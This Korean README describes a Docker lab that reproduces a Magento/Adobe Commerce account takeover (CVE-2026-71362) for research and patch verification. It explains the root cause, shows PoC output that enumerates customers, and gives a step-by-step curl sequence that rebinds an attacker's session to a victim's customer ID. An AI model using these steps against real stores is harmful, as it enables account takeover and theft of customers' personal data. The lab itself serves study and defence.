
고객 세션 신원 전환을 통한 Magento/Adobe Commerce 계정 탈취(CVE-2026-71362)를 재현하는 Docker 랩으로, 승인된 연구를 위한 PoC 및 공식 패치 A/B/A 대조를 포함합니다.
단일 명령으로 실행되는 독립형 Docker 랩으로, CVE-2026-71362를 처음부터 끝까지 재현하고 Adobe의 패치를 검증할 수 있습니다. 방어자, 연구자, 학생들이 일회용 스토어에서 실제 계정 탈취 원리를 연구할 수 있습니다.
| CVE | CVE-2026-71362 |
| 제품 | Adobe Commerce · Adobe Commerce B2B · Magento Open Source |
| 취약점 분류 | 잘못된 권한 부여 (CWE-863) — 고객 세션 신원 전환 → 계정 탈취 |
| 심각도 | CVSS 3.1 = 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| 권고 | Adobe APSB26-92 (2026-08-11) |
| 영향을 받는 버전 | Adobe Commerce 2.4.4–2.4.9, Magento Open Source 2.4.6–2.4.9, B2B 1.3.3–1.5.3 — -2026-jul 격리 패치 레벨 및 이전 버전 |
| 수정 버전 | -2026-aug 격리 패치 레벨 (패치 ID 24Xp-2026-08-001-CE) |
⚠️ 승인된 사용만 허용
이 랩은 공개되고 패치된 취약점을 방어 연구 및 교육 목적으로 재현하기 위해 존재합니다. 이 랩이 생성하는 일회용 스토어에 대해서만 실행하십시오. 소유하지 않았거나 테스트에 대한 명시적인 서면 허가를 받지 않은 Magento/Adobe Commerce 인스턴스에는 사용하지 마십시오. 모든 관련 법률을 준수할 책임은 사용자에게 있습니다.
Magento\Customer\Controller\Account\Edit::execute()는 실패한 editPost가 세션에 남긴 원시적이고 공격자가 제어하는 customer_form_data를 DataObjectHelper::populateWithArray()에 전달합니다. 이 메서드는 일치하는 모든 키를 고객 객체에 복사하는데, 여기에는 id 도 포함됩니다. 이후 객체는 Session::setCustomerData() → setCustomerId($object->getId())로 다시 기록되며, Customer\Model\Session::getId()는 단순히 getCustomerId()를 반환하므로 customer_id를 단독으로 덮어쓰는 것만으로도 isLoggedIn()이 피해자로 true를 반환하게 됩니다. 비밀번호, 토큰 또는 소유권 확인이 없습니다. 자체 등록한 일회용 계정만 가진 공격자는 자신의 세션을 임의의 고객 ID에 다시 바인딩하고 해당 계정의 개인정보, 주문, 주소, 저장된 결제 토큰을 읽을 수 있습니다.
전체 분석: docs/ROOTCAUSE.md. 탐지 및 WAF 규칙: docs/DETECTION.md.
attacker registers ──► POST /customer/account/editPost (change_email=1,
(own account) current_password=wrong, id=<VICTIM>) ─► exception ─►
session.customer_form_data = {... id: <VICTIM> ...}
│
▼
GET /customer/account/edit
populateWithArray(... id=<VICTIM> ...) ─► setId(VICTIM)
setCustomerData() ─► setCustomerId(VICTIM)
│
▼
attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
order history, address book, section/load) ─► account takeover.
pip install -r exploit/requirements.txt빌드는 공개 소스에서 Magento Open Source를 가져옵니다. Adobe Marketplace 키는 필요하지 않습니다.
git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab
make up # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait # blocks until the storefront returns HTTP 200
make exploit # runs the PoC
스토어프론트: http://127.0.0.1:8080/ · 관리자: http://127.0.0.1:8080/admin (admin / Admin123!). .env에서 호스트/포트를 변경하세요 (.env.example 참조). Magento는 세션 쿠키를 스토어의 기본 URL에 고정하므로 값은 반드시 탐색하는 URL과 일치해야 합니다.
[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
customer_id=1 -> VICTIM… Target <victim…@lab.test>
...
>>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
every enumerated account's PII with only self-registration.
make patch # apply Adobe's official APSB26-92 Edit.php fix
make exploit # -> NOT exploited (session identity unchanged)
make unpatch # restore the vulnerable file
make exploit # -> ACCOUNT TAKEOVER again
make patch는 patch/Edit.patched.php를 교체합니다. 이 파일은 patch/official-APSB26-92-module-customer.patch의 정확한 업스트림 변경 사항입니다. 해당 파일 하나만 켜고 끄는 것이 이 버그가 정확히 이 hunk임을 증명하는 기준(oracle)입니다.
# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'
# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
--data-urlencode form_key=<FK> --data-urlencode firstname=Mallory \
--data-urlencode lastname=Attacker --data-urlencode [email protected] \
--data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'
# 2. poison the session: failing editPost carrying id=<VICTIM>
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
--data-urlencode form_key=<FK2> --data-urlencode id=1 \
--data-urlencode change_email=1 --data-urlencode current_password=wrong \
--data-urlencode [email protected]
# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'
자신의 브랜치에 APSB26-92 2026년 8월 격리 패치(24Xp-2026-08-001-CE)를 적용하세요. Adobe는 인증 없이 패치 레지스트리와 원본 diff를 https://repo.magento.com/patch/patch-registry.json에서 제공합니다. 이 수정 사항은 공개 GitHub에는 없습니다. 이를 위한 Composer 패키지나 git 태그는 게시되지 않았으므로 composer update로는 가져올 수 없습니다.
docker-compose.yml nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py the PoC + PII-enumeration oracle
scripts/patch.sh apply Adobe's official fix scripts/unpatch.sh restore vulnerable
patch/ official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md code-level walkthrough docs/DETECTION.md WAF + forensics
make logs를 실행하고 Install complete가 나올 때까지 기다린 다음 make wait를 실행하세요.generated/ 디렉터리의 권한 경합입니다. make shell 후 php bin/magento cache:flush를 실행하세요 (보통 entrypoint가 이 작업을 처리합니다)..env의 MAGENTO_HOST/HOST_PORT를 (그리고 TARGET도) 사용하는 URL과 동일하게 유지하세요.MIT — LICENSE 참조. 교육 및 승인된 테스트용으로 제공되며 보증이 없습니다.